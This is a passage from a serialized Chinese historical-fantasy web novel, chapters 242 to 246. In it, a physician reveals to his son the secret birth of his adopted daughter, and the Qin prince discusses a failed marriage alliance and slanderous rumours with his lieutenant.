又侧过身去故作有些莫名其妙地怒气冲冲对其说道“我?哥哥这话是何意?从小到大,妹妹从未进过宫。皇上传召,也一向是由哥哥陪同父亲一起入宫面圣的,妹妹又何时曾见过宫里的那些人?甭说人了,就是连皇宫的门,都不知开在哪边?”

陆天麟木然地听着,不以为然道“可是你小的时候,深得太妃疼爱,常伴其左右,不是经常随太妃入宫的吗?难道,就不曾结识过宫中的某些人?”

陆天骄一脸无辜,急道“哥哥,太妃薨逝已经八年了,那时候妹妹才几岁,哥哥难道不知吗?儿时的记忆,谁还能记得?”

闻此,陆天麟似乎只得收声,无奈地又叹了口气,摇摇头。

“哥哥,到底发生了何事?”许久后,陆天骄再次凑到似是一筹莫展的陆天麟身边柔声问道。

陆天麟依旧一脸严肃地沉默着,似是根本没有听到陆天骄所言,只顾陷在自己沉沉的思索当中。

他单手附后直挺挺地站在凉亭的扶栏边,怔怔地看着水里的一群红鲤鱼在夜光的照耀下,自由自在地游来游去。直到其中的一条颇为欢实的鱼儿在水面了突然高高地跳跃了一下,紧接着又落入水中,随即激起一阵涟漪来,打破了整个平静的水面。

陆天麟方才似是回过神来,说道“守护者画像的修复已经完成了。”

闻此,陆天骄心里顿时又惊又喜,终于长长的舒了口气。继而忙伸出双手去紧紧抱住陆天麟的胳膊,倚在上面,高兴地道“‘皇天不负苦心人’,太好了,真是太好了,这么多年的功夫总算没有白费,父亲做到了,父亲终于做到了。”

忽然,她缓缓松开来自己的手,脸上的喜悦也渐渐散去,站立好身子,仰起头来看着陆天麟的愁容满面,疑惑不解地问“既然守护者画像的修复已经成功了,那哥哥又在发什么愁呢?”

陆天麟仰面轻叹了一声,幽幽道“妹

妹应该知道,我陆氏满门深受秦王殿下及太妃娘娘的大恩大德。如若不是太妃娘娘,你我兄妹怕是永无来到这个世上的可能。如果没有秦王殿下,父亲怕早就被奸臣所害,满门抄斩。璟帝暴政,昏庸又多疑,而秦王则宅心仁厚,正义凛然,爱民如子,故我陆氏满门自是向来唯以殿下马首是瞻。”

陆天骄对陆天麟所言点了点头,以示肯定,陆天麟看着陆天骄的眼睛,继续认真说道“守护者画像终得以修复成功,如此重大的事情,自然第一时间应该知会秦王殿下,再由殿下决定该如何处理此事。可就在前几天的一个夜里,父亲与我刚完成守护者画像的修复,便有从千里迢迢之外的宫里来的人,亲传皇上圣旨,宣我与父亲带着守护者画像即刻入宫见驾,一刻都不得多逗留。很明显,这其中一定是有人将消息提前透漏了出去。而此事,整个西秦学院里可是只有你我兄妹二人和父亲,除此以外,再并无其他人知道的呀!”

“所以,哥哥便怀疑是妹妹所为咯?”陆天骄这才恍然大悟道。

“妹妹……”

未及陆天麟将剩余的话说出,陆天骄先急急扬声将其打断道“哥哥,妹妹在你的心里,难道就是如此不堪么?妹妹对殿下的忠诚和心意,并不比你和父亲少半分。这一点,别人不知,难道哥哥亦不知?”

“妹妹……”陆天麟似乎早已预料到了自己心里的这番怀疑和言语之间的不妥之处,可纵使他再谨小慎微,依旧果不其然又一次刺痛了这个颇为敏感的妹妹的心。但他此刻还是想竭力对其解释说些什么,以作弥补和安慰。

不想陆天骄竟忽然渐渐一步一步地朝后退了起来,还捂起自己的耳朵摇着头,似是很难以置信地怒声阻止其道“不要说了,不要说了,我知道,你不信我,父亲也不信我,大家都不信我,殿下他也……这个世上,所有的人都不信我,那我还活着做什么。我恨你们,我恨你们,我再也不想见到你们!”

陆天骄一边声嘶力竭地忿忿怒吼着,一边抹着泪疾步奔下了凉亭的石阶,继而兀自朝着一条幽静的小道上奔去,一晃便不见了人影。

“天骄,天骄……”陆天麟一脸惊慌失措,抬头看了看天色,亦大步流星地朝其背影追了上去。

火树银花终散去,唯有日月亘古今。

正月十六的凌晨五更天,天色还未见亮,沸腾了大半夜的街市却终于慢慢恢复安静了下来。

城西衣府门前,家主衣上坤入宫的马车,一如往常地准时开始缓缓向着皇宫的方向驶去。

衣上坤身着一袭藏青色暗纹新衣,正端坐在马车里闭目养神着,忽觉右眼皮一直跳个不停,心里似是已有所虑的样子,不禁

口中喃喃暗自道“老天保佑,可千万不要出了什么事才好啊!”

当马车驶到街前拐角的赵记茶馆门前的时候,忽然,迎面驶来一辆看起来似是有些熟悉的马车,其速度之快,到了拐角的视线盲点,竟也不知减速半分。若不是因为衣上坤的马车刚起步,驾车的老奴及时勒住了缰绳,怕是两辆马车就这样硬生生地撞在一起,不止是人仰马翻那样简单的。

衣上坤坐在马车里,似是顿时亦被惊吓地清醒了过来,张大了眼睛,心中不禁为此一震,继而忿忿地伸手一把掀开了车门帘,胸中怒火正欲发作,却闻前面驾车的老奴恭敬一声说道“少爷回来啦!”

闻此,衣上坤亦惊声道“是俊儿?”

尚未待其掀开车帘来,衣上俊便已一步跃下马车来踱着大步到了衣上坤的车前,朝其行礼急道“父亲,大事不好了!”

衣上坤一露出面来,看了看灰头土脸的衣上俊一脸疲惫之色,还有除了他和驾车的小厮外,车子里再无其他,空空如也,心中不禁当即浮起一抹极不好的预感来。

怔愣了一下,便开口亦着急地问道“发生了何事?你…莫非你是连夜赶路回来的?燕儿呢?燕儿怎么没有同你一道回来?还有云儿?你大姐呢?”

岂料,衣上俊竟忽然扑通一声重重地跪了下去。见此,衣上坤顿觉心惊胆战,天昏地暗,两眼冒金星,颤颤巍巍地在驾车老奴的搀扶下下了车来,惊诧地注视着他,颤颤地问“究竟发生了何事?你倒是快说啊!”

衣上俊满脸惶恐不安与焦灼担心,垂首对衣上坤道“父亲,大姐她…她于风驰电掣,大雨滂沱之夜…坠落悬崖,生死不明,失踪了!”

“你说什么?”衣上坤闻此,顿时脚下一个踉跄,年迈又瘦弱的老奴一个没扶住,差点儿使他实实地跌坐在地上。

“父亲,父亲……”衣上俊眼疾手快地忙伸手将其接住并及时揽起,这才使得其没有落实着地。

衣上坤只觉眼前的视线越来越模糊,任由被衣上俊架到了身旁的赵记茶馆门前,又抽出其摊位上收起来的一条长木凳,让其坐了下来竟也恍恍不自知。

只顾将一手抚在自己的额头,胳膊肘支撑在面前的案几上,感觉似是像天都要塌下来了一般。许久后,方才垂首低声地喃喃问道“这…这是怎么回事?”

闻此,衣上俊将城南寻人一事便一字不漏地向其禀报了起来。

“老夫就知道,她就不该和那个秦王扯在一起,这下可好了,终于出大事了!”听完了衣上俊的话,又沉默了会儿,衣上坤似是窝了一肚子的火,忿忿道。

然衣上俊却支支吾吾地为其辩解道“父亲,这件事…好像也不能赖给秦王殿下。秦王殿下

也是为了救大姐,才身受重伤且被累及坠落悬崖了的。”

衣上坤沉思片刻,放下手来,冷哼一声兀自说道“难道这一切真的都是天意,冥冥之中任我们怎么躲也躲不过。恩人说的果然没错,她就不应该接近与那些皇族中人纠缠在一起,他们只会为云儿招来祸患……老天啊,她已经为此而付出一个女子一生中最大的代价了,难道你还不肯放过她吗?”

衣上俊闻此,甚为不解道“父亲,你这是在说什么?什么‘付出一个女子一生中最大的代价’,大姐她…她到底怎么了?”

(本章完)

第二百四十三章:敢与老天打赌的女子

衣上坤沉思片刻,放下手来,冷哼一声兀自说道“难道这一切真的都是天意,冥冥之中任我们怎么躲也躲不过。恩人说的果然没错,她就不应该接近与那些皇族中人纠缠在一起,他们只会为云儿招来祸患……老天啊,她已经为此而付出一个女子一生中最大的代价了,难道你还不肯放过她吗?”

衣上俊闻此,甚为不解道“父亲,你这到底是在说什么?什么‘付出一个女子一生中最大的代价’,大姐她…她到底怎么了?”

衣上坤闻此,一脸严肃地出了好一会子神盯着他的眼睛,方才缓缓移开眼来又细细地扫了一遍身边四周。

见只除了俩个驾车的奴仆尚远远地站在一边静候着主人的差遣外,似是再无旁人。他这才微微挪了挪动身子,示意其在自己身边坐了下来,一脸欣慰地说道“俊儿,为父知道你已经长大了,再也不是以前那个游手好闲,浑浑噩噩的浪荡公子哥,为父真的感到很欣慰。”

衣上俊似是心里已经预感到了衣上坤言语里的顾忌,便着急地道“父亲,俊儿能有今日,多亏了大姐。凡事俊儿知道轻重,有什么话父亲就请直说吧,俊儿绝不会忤逆父亲的意愿的。尤其是…有关大姐的事。”

闻此,衣上坤点了点头,又重重地叹了口气,心一横,便道“俊儿,其实…你大姐脸上的红色胎记…它并不是胎记。”

衣上俊顿感不可思议地猛瞪大了那双星眸,朝着衣上坤的脸上一怔,惊声道“父亲说什么?大姐脸上的那个让她背了17年‘京城第一大丑女’恶名的红色胎记竟不是胎记?…那是什么?”

衣上坤似是极不忍心回忆起这段当年往事的样子,闭起了双目片刻后,道“她的脸…是一出生便被下了毒,中毒所致。”

闻此,衣上俊惊呆了“是谁?是谁这么狠心对一个刚坠地出生在襁褓里的婴孩做这样的事?”

衣上坤痛苦地回忆道“她…她是个具有绝世美貌且善良却又苦命的女子。”

衣上俊顿时握紧双拳,眉头紧蹙,火冒三丈,但因顾忌到万一会被存有不良用心的人听到,便强压住心头的怒火,低声连连发问道“她究竟是什么人?她有什么权利这样做?大姐又犯了什么错?以至于一降生便要遭此横祸。身为一个女子,这不是等于毁了她一生的幸福了吗?从小到大,大姐终日以面纱示人,怕是都没有人见过大姐的真面目吧?父亲当时又为何不制止?”

“这便是存在于你大姐身上的第二个秘密了。”衣上坤神秘道。

“什么?第二个秘密?大姐身上还有什么秘密?”无疑,衣上俊惊讶极了,没想到在与自己从小一起长大的同父异母的姐姐身上,竟然隐藏着这么多如此惊人

的秘密。

衣上坤思之又思,沉默了许久后终道了句“其实,你大姐,她…并不是父亲与你大娘所出。”

“什么?”这一次,衣上俊再也忍不住了,猛地站起身来,瞪大了那双如星河般深邃的眼眸来望着衣上坤的眼睛,惊呆了。

衣上坤亦紧张地忙伸手将其笔直的身躯大力地拉低下来,再次坐回自己的身旁,这才兀自幽幽说道“那个具有绝世美貌且善良却又苦命的女子,也就是亲手给自己刚刚落地的孩子脸上施毒的妇人…她才是你大姐的亲生母亲。为父只是临危受命,受恩人临终前所托付,她只求为父不要委屈了你大姐,让她做一个平常人家的普通女子,快快乐乐,平平安安地活一世即可。”

“恩人?父亲,这一切究竟是怎么回事?”衣上俊似是越听越糊涂,心里疑惑极了。

衣上坤一边回忆着,幽幽道“那时候,为父和你大娘,我们还只是城南北山深山里,半山腰上的一对贫贱夫妻,终日里以采药为生。”

“原来父亲的老家在城南北山?”衣上俊这才明白。这么多年了,无论有多少人问起他们祖籍何方,这一家人总是对此一律都无言以对,甚至更有许多人辱骂他们一入宫便忘了祖宗,忘了本。

衣上坤点了点头,继续道“有一日,我和你大娘早起在北山苦苦寻觅一株十分珍贵的千年人参。突然发现,在距离碧水湖的湖滩不远处的树林边躺着一位大腹翩翩的妇人。走近一看,那妇人竟满身伤痕,像是坠崖所致,早已卧倒昏迷在了一片血泊之中。当时,她应是感觉到了腹中孩子即将出世,因为怕孩子生在了冰冷的湖滩上冻着,便爬过了整条湖滩线,到了相对能遮些冷风的树林边上,加之坠崖后伤势颇重,几乎已耗尽了所有体力,身体实在太过于虚弱,导致她没了生产的力气。”

衣上俊着急地担心问道“那她腹中的孩子不是很危险吗?”

衣上坤长长地舒了口气,似是当日所有的往事时隔至今,想来依然颇为触目惊心一般,道“谁说不是呢,好在那妇人医术相当了得,她替自己施针保住了胎儿的命脉。可终究还是拖延的时间太长了,直到为父遇到她的时候,她们母子眼看着就要一起去了。可那时,她手里竟正好紧紧地握着那株我和你大娘苦苦寻了多年的千年人参。”

“那她为何不含些人参呢,这样不就有力气了吗?”衣上俊疑惑地道。

衣上坤亦道“是啊,她若是当时能及时将它含下些许,便完全可以有力气将那个孩子平安生下来。可她却…她却用那株千年人参和仅剩下的一口气来与老天打赌。”

衣上俊不明白,道“与老天打赌?”

衣上坤目光坚定地道“对,

就是与老天打赌。她在堵,老天一定不能如此残忍地便夺走了她们母子的性命。她在堵,她一定能等到一个能救她的孩子活着离开的人。于是,为父便成了那个人。”

衣上坤的言语里对那女子满是敬佩的语气,稍作停留,接着又遗憾地道“可最后,因为终是错失了服参的最佳良机,等到为父赶去的时候,已是纵使大罗神仙在世也是无能为力了,孩子和大人,只能保住一个,那妇人毫不犹豫地脱口即出要保胎儿。于是,在生产完的弥留之际,她便将那株千年人参和身上的所有细软都送给了为父和你大娘,只求我们能答应帮她养大那个孩子成人。只有一只七彩金丝彩玉镯子,她说无论如何,都务必要给她的孩子留下。还赠给了为父一本她亲自验方整理的医药秘籍,也正是因了她的心血之作和那株千年人参,为父后来才得以在宫中谋得今日的位置。”

至此,衣上俊的心里震惊极了,黯然神伤道“想必那位妇人应是知道自己纵使服下了那株千年人参,有力气生下孩子,可她的伤势那么重,一个妇道人家,怕是也未必能护那孩子周全,将其平安带出深山。于是,她便只能留有一丝希望,静静地携着重礼祈祷等候着能救她孩子的人的出现。幸好,父亲和大娘出现了。”

此时,除了一片令人唏嘘之余,忽然,衣上俊似是又有什么更为不解之处,便问道“可那妇人,既然如此珍视这个孩子,宁愿以自己的所有来换取这个孩子的生命,又为什么还要在她的脸上下毒,毁了她的容貌?还有,她到底是什么人?难道这个孩子除了她,就再也没有其他亲人了吗?”

对此,衣上坤似是也不太明白其中原由“那妇人临终之前,只交待为父,莫要太委屈了这个孩子。她只愿她快快乐乐地做一个平常百姓家的女子,仅此而已,千万不要让她接近那些皇族之人,与其纠缠在一起;至于毁了她的容貌,为父揣摩着,怕也正是因为怕那些人惦记她的美貌,故而为之吧。对于那个妇人本人,为父只见她美若天仙,气质非凡,像是个名门贵女之类的非普通女子。问她家里还有什么人,她只是摇头不止,独自一直默默地流泪。让人看了,实在是心酸不已,不忍心再问。为父想着,怕是她家里遭了什么横祸,被人追杀又或者满门抄斩之类的,这才不小心失足落了崖。为父又怕贼人追来斩草除根,便一刻都不敢多做停留,回去便将山里的房子烧的干干净净,连夜逃离了北山,再也没敢回去过。”

“怕是没有父亲想的那般简单,若她真是什么罪臣之后的话,官府必定会全城通告缉拿的。父亲当时一路逃亡,可曾见过官府张贴的什么缉拿逃犯之类的告

示么?”衣上俊又问。

被衣上俊这么突然一问,衣上坤倒是忽然间真的觉得当年的事有些蹊跷“起初一段时间里,为父真的很害怕,怕因此会惹来杀身之祸。中途,还几次三番险些将那孩子丢弃。可是,每当一看到那可怜的孩子,尚且还什么都不懂,只知道对着我和你大娘笑,再一想起那妇人的惨死,你大娘她又不能生育,我们便都又不忍心了。倒是逃亡的一路上,似乎都相安无事,并未见任何抄家缉拿逃犯之类的官府告示。因此,也才敢继续留在西秦国内。”

“如此说来的话,难道…莫非,那妇人根本就不是我西秦国人…父亲,那位妇人,可曾相告她叫什么名字?”衣上俊默默地暗自推理猜测着道。

(本章完)

第二百四十四章:父子伤离别

“如此说来的话,难道…莫非,那妇人根本就不是我西秦国人…父亲,那位妇人,她可曾相告过叫什么名字?”衣上俊默默地暗自推理猜测着,忽然炸出来一句道。

衣上坤闻言,顿时抬起双眼来朝其一怔,道“这一点…为父倒还真是没有想到过。为父当时也问了,可她没来得及说,又也许是实在已经没有力气了。孩子生下来后,那时早晨的太阳刚好升起来,她便只是一个劲地痴痴望着东方天空中的那轮红日淡淡地笑着,像是已很幸福满足,了无遗憾了的样子,直到最后闭上了眼睛。”

“早晨的太阳…女子…难道她想说的名字是…‘若曦’?…望着东方,很幸福满足…莫非她的家在东方?不在我西秦国境内,那便是…富甲一方的东宁国。”衣上俊顿时由这一连串信息大胆猜想道。

衣上坤亦为此瞬间心里感觉深深一震,惊声道“若曦…东宁国。”

顿时,父子俩四目相对,面面相觑了起来。

忽然,衣上俊想起了燕儿昨夜与她分别之际所说的那些莫名其妙的话来。而那些话,却似在这一瞬间突然变得能说的通了,不再只像是些无厘头的胡言乱语。

稍作思量,他忽然惊慌失措地开口对衣上坤说道“糟了,难怪大姐莫名其妙地跟燕儿说什么‘她不是衣家小姐,早晚都会离开衣家’之类的话,如此看来,父亲,难道大姐已经知道自己的身世了?”

“不可能,她绝对不可能知道这件事。当年整个北山里就我们三人,不可能再有人知道此事。”衣上坤想都不想,信誓旦旦道。

看到父亲对此如此肯定,衣上俊不禁又低头独自纳闷了起来,口中喃喃道“那大姐此话究竟何意呢?”

忽然,他似是犹犹豫豫,吞吞吐吐地侧头问道“父亲,你…觉不觉得大姐昏迷了一年,醒来之后就像是变了个人呢?”

衣上坤淡淡道“是啊,变的和她的亲娘越来越像了。”

衣上俊思之又思,终吸了口气,事已至此,不妨就将所有事都放在一起理一理也好,于是便一脸严肃地道“父亲,街上的人都在议论咱府上的一件怪事。”

衣上坤平日里的生活,颇为传统和简单。几乎都是两点一线间,不是在城西家中,便是在御药房里办差,否则就是在家中和御药房之间的路上。即使偶尔同僚之间来个茶聚什么的,那也几乎是逢年过节才有的事。大家聚在一起所聊的,无非也就是与医药相关之事,对于街坊市井之间的八卦传闻,自是主动过滤掉的。真正所谓是‘两耳不闻药外事,一心只读药草经。’

此时,他虽是对这些流言蜚语一向满腹的不屑,但看到儿子挂在脸上的一本正经之态,还是亦严肃地问了句“

他们议论我们什么?”

衣上俊看着他的眼睛,认真说道“附近街上有很多人在议论,说大姐醒来的那天夜里,有人看到后院的空中,从天而降一道宛若一只七彩凤凰虚影的灼眼光芒,最后落入了大姐的阁楼上。他们还有人传说…说真正的大姐其实已经死了,现在的大姐乃是被妖怪的魂魄附体了。”

闻此,衣上坤竟再也没能忍住,大力地一把拍在了面前的案几上,扬声怒道“一派胡言,是谁如此传说的,就不怕遭天打雷劈么?你大姐她已经背了那么多不好的名声了,竟还有人如此造谣生事。她还是一个尚未出阁的女子,这以后还让不让她活了。”

“父亲息怒,可凡事终究皆是‘无风不起浪’,父亲还是得想想办法。若是此事再继续这样传下去的话,怕是连整个西秦的人都会知道的。到时候,才真的是会对大姐造成极大的伤害。”衣上俊忙分析道。

“这件事,是从谁的口中先传出来的?”衣上坤咬着牙根,隐忍着问。

衣上俊随即抬起自己的一双星眸来,忿忿地撇了眼赵记茶馆的招牌,衣上坤顿时领悟道“为父知道了。这个人,一向油腔滑调、唯利是图、见利忘义、心术不正。打从第一眼见到他,为父便已知道他将会是我衣家的克星。如今看来,为父还真是一点儿也没看错他。看来,是时候该好好和他算算这笔账了。”

“父亲打算怎么做?”衣上俊不解地问。

“让为父再好好想一想,好好想一想,想一想……”衣上坤长长地舒了口气,似是已独自出了神地谋划着,默默道。

新一年的第一个凌晨时分,父子俩就这样一起坐在街口的一片落红之中,推心置腹地促膝长谈了许久。

直到俩人头顶月亮的颜色已渐渐变得越来越淡,衣上坤忽一抬头方才发现入宫的时辰已经不能再晚了,这才急急回过神来对儿子交待道“今日我们父子的所有这些谈话,千万不能让其他人知道,尤其是你娘和雪儿。她们若是知道了,怕是这整个天下便就知道了。”

“此事俊儿知道轻重,父亲放心吧。”衣上俊信誓旦旦道。

衣上坤点了点头,缓缓起身来看着此时眼前的这个儿子,已然不再是昔日里的那个纨绔子弟,甚感欣慰。忽然又似记起什么来,便开口叮嘱道“还有,你大姐坠崖落水失踪的事,千万不要将实情告诉你大娘,就说…就说是为父又交待了你大姐,在城南寻找宫里所需的药材,燕儿留下来陪她一起做伴了。你大姐虽然非你大娘亲生,但她却也是将她视若己出一般的。她身体不好,接受不了这样的事情。”

“儿子知道,父亲放心…对了父亲,燕儿,我让她留下来随着公主和秦王殿

下的人一起找寻大姐的消息了。她从小到大都寸步不离地照顾在大姐左右,是对大姐了解最多的人,她留下来,应该会有用处的。”衣上俊亦站起身来对其解释说道。

“俊儿,你做的很好,我的俊儿终于长大了。”衣上坤将一只手搭在儿子的肩上,笑着夸赞其道。

衣上俊抿了抿嘴,低头片刻稍作思索后,有些凝重地道“父亲,俊儿今日就要整理行装,离家去程将军那里报道了。以后,儿子不能时时在您身边,父亲一定要多多保重自己,还要…多忍耐母亲和雪儿的脾气一些!始终,她们也都是为了这个家好。”

闻此,衣上坤忽然眼里噙满了泪水,声音也似是有些沙哑,却依旧强忍着说道“‘好男儿志在四方’,俊儿放心去吧。父亲相信,我的俊儿一定会出人头地,一定会比父亲强,父亲和你母亲等你满载荣耀归来。”

当衣上俊一看到父亲已头发花白的样子,亦眼里闪烁着点点泪花,又甚感忧心地道“那找大姐的事……”

衣上坤吐了口浊气,默默道“方才你不是已经说了,公主和秦王殿下已经派人在找了么。有那么多人在找,总胜过我们全家几十口吧。放心吧,你大姐从还未出生,便已经历过那么多磨难都能越来越勇敢,这次也一定能吉人天相,老天不会对她这般不公的,总不能将她所有活下去的门窗都关起来,总会为她开启一扇窗,让阳光照进来。一定能找到,一定能找到的。”

“嗯,那俊儿这就回去准备准备,便走了。”离别有时竟说来就来,衣上俊的心头突然浮起一抹极不舍的情绪来。

作为理解和支持儿子的父亲,衣上坤也只能忍痛割爱,关切一句“出门在外,诸事一定要小心!”

“父亲在宫中当差。也要诸事谨慎小心!俊儿就此拜别父亲大人。”说着说着,衣上俊便扑通一声,重重地跪了下去在衣上坤的面前,又重重地连续朝其三个叩首。

这三个叩首中,包涵了从小到大太多太多的父子情愫在其中。都说父爱如山般沉重,此刻,一切尽在不言中。

衣上坤凝视着儿子的眼睛,眼里尽是深深的不舍与疼爱,却依旧故作坚强的隐忍着,直到其恋恋不舍地缓缓起身之后,又猛一转身继而大步离去,方才对着其背影孤独地抹起泪来。

而转身后的衣上俊,亦是同样再也忍不住的流下了男儿最珍贵的眼泪来。

接着,便是两辆马车分开相背而驰,却是同样俩个高大的身躯亦随之相背而行着。那影子,在马车前悬挂的昏暗的烛火照耀下,被拉的很长很长。

而此时,城东秦王府的马车亦同样向皇宫的方向缓缓行驶着,赶去早朝。

副将程良骑着马,在

一旁对马车里的主子忧心道“殿下,您的伤势尚还未得以痊愈,其实可以不必这么早去上朝的。何不在府中多歇息几日。”

“今日,皇上必要议定玥儿和亲的事,本王怎能不去。”车里的人声音传出来,依稀听得出实是仍有些孱弱。

“其实玥公主的这件事,如今,东宁国已然是……

(本章完)

第二百四十五章:铁树开花有何难

“今日,皇上必要议定了玥儿和亲的事,本王怎能不去。”车里的人声音传出来,依稀听得出着实是仍有些孱弱。

马车内,轩辕翰一路上一直端坐着闭目养神,心想,此时的璟帝也必定是处在理智和感情中苦苦挣扎着。一面是自己最疼爱的掌上明珠,心头肉,另一面则是整个西秦未来的江山社稷。若想要两头兼顾,该是何其的难?

而对于自己,无论如何,守护这片神圣不可侵犯的西秦大地便自是更加义不容辞。

但令他万万没有想到的是,早上正要准备出门,出使东宁的使者便派人前来向他报告了一件颇让人始料不及又义愤填膺的事。

他是有点意外:想不到如今,这富甲一方的东宁国的气焰竟已至如此嚣张的地步。竟敢婉言谢绝西秦璟帝派去的使者所谈的有关于轩辕玥和亲的请求。如此一来,这不但是对西秦国的莫大羞辱,更是对西秦明面上的挑衅与宣战。

如此看来,西秦今日的处境似是真的已经岌岌可危了。

一想到这些,他附在膝头的两只骨节分明的大手不禁紧紧握起,一张虽是有些孱弱,但依旧从骨子里透出来的尊贵无比似是天工精雕细琢过的一张冷峻轮廓上,眉头瞬间蹙起,张开来的两只深邃而又坚定的眼睛似是再也看不到底了。

看来,今日里所有的人定是要直面这个痛苦了。

就在其沉思之际,副将程良亦在马车外开口忿忿地抱怨道“这个东宁国君,实在是欺人太甚,太可恶了!难不成我西秦国堂堂一嫡长公主,竟还配不上他小小一个庶出的皇子么?此事若是传了出去,以后玥公主还如何在这灵空大陆上立足,我西秦又该如何自处?说什么‘三皇子不在,以后再议’,自古‘儿女婚事皆乃父母之命,媒妁之言’,属下看他就是在公然地向我西秦国毫无忌惮的示威罢了。打就打呗,谁怕谁啊!”

程良越说越气,恨不得立刻就身披战甲,与其进行一场颇为痛快,淋漓尽致的交锋对战。也似乎只有如此,方才能洗去他此时滚烫的胸间如同蚀骨般的屈辱,解去他此时满腔的心头怨气。

话已至此,然车内的主人依旧一言不发地静默着。在这漆黑的凌晨时分,宽敞平稳的大道上,只听到马蹄向前不断发出的“嗒嗒,嗒嗒”的声音,以及车轮亦“咕噜咕噜”连续不断的地缓缓滚动着,打破了眼前这宁静的一片除了马车上的两盏烛火外,尚不见其他任何一缕微光的晨色。

默了半晌后,程良兀自又忧心地道“殿下,看来今日皇上势必将会把玥公主嫁到极北的酷寒之地,北烈国去了,我们……”

程良说着说着,忽然间停了下来,继而又转念扬声大怒道“早知现在,当

初在城南说什么,我们都应该第一个杀掉那个可恶的拓跋泽,永绝后患。”

这时,车内的轩辕翰终于发出了声来“杀掉他有什么用,杀了拓跋泽一个,北烈国还有二皇子拓跋宏,甚至还有千千万万个拓跋泽再站起来。‘永绝后患’…只有我西秦国统一了这片灵空,做这天下之主,方才能主宰一切。灵空大陆,从此才能相安无事,百姓安宁,才能彻底再无任何杀戮与抢夺。”

此话一出,程良今日出门至今,心里的所有愤怒似是才瞬间都得以平息“那眼下玥公主的事,殿下打算怎么做?听说和亲北烈的圣旨都已经拟好了,早朝便会宣旨。”

沉默了一会儿,轩辕翰无论何时,永远都看似一副淡定无比的脸上,忽然现出一丝难得的迷离来,手里捏着一支嵌着两朵桃花的长流苏簪子,痴痴地呆望着其道“本王也不知道,到时候见机行事吧,总会有办法的。这是她不惜任何代价亦要求本王帮忙的事,本王既然答应了她,就一定得替她办到。”

听着主子已然又陷入了对衣上云的无边思念当中,程良心中顿时亦有些黯然和凄凉,然转念又道“殿下,如今看来,梅志煊果然身不在东宁。如此看来,从衣府将衣姑娘处心积虑地拐带至城南万娇阁的面具男子,便一定是梅志煊本人了。看来殿下猜测的没错,他果然完成了送嫁使命后没有回东宁去,藏匿在我西秦内,定是动机不纯。”

轩辕翰早就已经确定那人正是梅志煊无疑了,想他大费周折地想要接近衣上云,却不敢以真面目示她,定是怕自己被衣上云认出而为之。可唯一让他不明白的,只是为何他贵为一国皇子,却要接近这样的一个药师之女呢?

“可有易三少的消息?”一念至此,轩辕翰突然开口问道。

“易三少?殿下该不会是见公主和东宁国的和亲不成,便病急乱投医,退而求其次,又想撮合玥公主和那南安国太子易三少了吧?!”程良惊讶地道。

轩辕翰喝道“说什么呢?你看那易三少,像是个会接受和亲的主么?他的心思在哪,你难道亦不知?再说了,玥儿这孩子,向来说一不二,要她改变心意,除非铁树开了花。”

岂料程良一听到这话,竟还来了劲,故意打趣其来,亦是想调节一下此刻两人各自心里的郁闷,便道“铁树开花有何难,咱们殿下这棵参天的千年铁树,不也开花了么,殿下如今……”

岂料程良颇有兴致的将话刚说到了一半,便被其主人训斥阻止道“住口,休要胡言乱语!”

程良立刻无奈地吐了口舌头,这才严肃回答道“听说…他还在城南里到处寻衣姑娘呢。”

轩辕翰突然眼睛一怔,稍待片刻,问道:“还

没有云儿的消息么?”

程良黯然道:“目前……还没有收到任何消息。”

俩人沉默了许久,程良忽然问“衣姑娘的事,也不知道衣府家主知道不知道?”

闻此,轩辕翰的脸上的冷厉又似加重了几分,道“他知与不知,对本王来说一点都不重要。但重要的是,他将本王府上的医女是怎么看护的,必须得给本王一个满意的交待。否则,本王定不会轻饶了他。”

说到城西衣府,程良的心里忽然想起一件事来,吞吞吐吐道“殿下,有一事,属下不知该怎么说?”

“有事直说?”轩辕翰冷冷地道。

程良深吸了口气,问道“殿下可还记得第一次让属下去打听城西衣府的时候,属下曾对殿下所讲的那件关于衣府的怪事?”

“是关于凤凰虚影……”轩辕翰稍作回忆,道。

程良点了点头,眼里带了些愤怒地道“殿下昏迷的时候,属下送玥公主和太子回宫,以及早朝结束后与朝中的那些大人在街市上茶聚,讨论万娇阁之事时,听闻城里越来越多的人到处在议论说…说衣府大小姐昏迷病榻一年后醒来,性情大变。是因为,大小姐苏醒过来的那天夜里,衣府后院的上空所出现的凤凰虚影乃是鬼怪之魂魄,真正的衣府大小姐其实早已经死了,现在的衣府大小姐乃是被鬼怪魂魄所附体的鬼怪之躯。就连那些大人,都有相信这种说法的。因为据说以前的衣姑娘丑陋娇弱且废柴,一向足不出户,与现在完全判若两人……”

岂料程良话还未说完,轩辕翰便急急将其打断怒声道“可有查到,这流言蜚语的始作俑者是谁?”

程良忙道“属下打听了,说是从衣府门前街角的‘赵记茶馆’最先传出来的。当天夜里,忽然空中风雨雷电大作,街上行人皆都只顾纷纷抱头急于归家,只有那赵记茶馆的掌柜,正在忙着收摊打烊,这才无意中看到了衣府的这番异象,便就此传说了开来。”

“赵记茶馆?是不是梅志煊探问衣府之事,守株待兔所逗留过的那家茶馆?”轩辕翰回忆着,口中喃喃道。

“正是。若是再继续这样传下去,衣姑娘的名声,这辈子怕是彻底就要被毁了。”程良忧心道。

“你去妥善处理好此事。”轩辕翰吩咐道。

“是”程良领命道。

“对了,那衣上坤之子,衣上俊今日便要来报到了,属下该如何安置他?还请殿下明示。”程良又问。

“本王看那衣上俊,表面上看似放荡胡闹纨绔至极,骨子里倒也不失为一个将才之选,不像他那个迂腐中庸,整日里战战兢兢胆小怕事的父亲,你且先将他好好训练调教。本王相信,假以时日,他一定会在沙场上建功立业的。”

轩辕翰似乎对其颇为满意的信誓旦旦道。

就在俩人说话之际,忽然从前方的一片漆黑中缓缓现出来俩个高大的男子身影,二人直挺挺地就那样立在道路中间,挡住了马车继续前进的方向。

只见其中一人的手里牵着两匹骏马,跟在另一名单手附后的男子身后,那单手附后的男子立定后忽然开口问道“请问前方来人可是西秦国的秦王殿下?”

“你是何人?竟敢挡当今秦王殿下的道。”程良闻声,急急勒住手中的缰绳,翻身跃下了马来。

(本章完)

第二百四十六章:小不忍则乱大谋

就在俩人说话间,从前方的一片漆黑中缓缓现出来俩个高大的男子身影,二人直挺挺地立在道路中间,挡住了马车前进的方向。

其中一人的手里牵着两匹骏马,跟在另一名单手附后,似是其主子的男子身后,那单手附后的男子立定后忽然开口问道“请问前方来人可是西秦国的秦王殿下?”

“你是何人?竟敢挡当今秦王殿下的道。”程良闻声,急急勒住手中的缰绳,翻身跃下了马来查看。

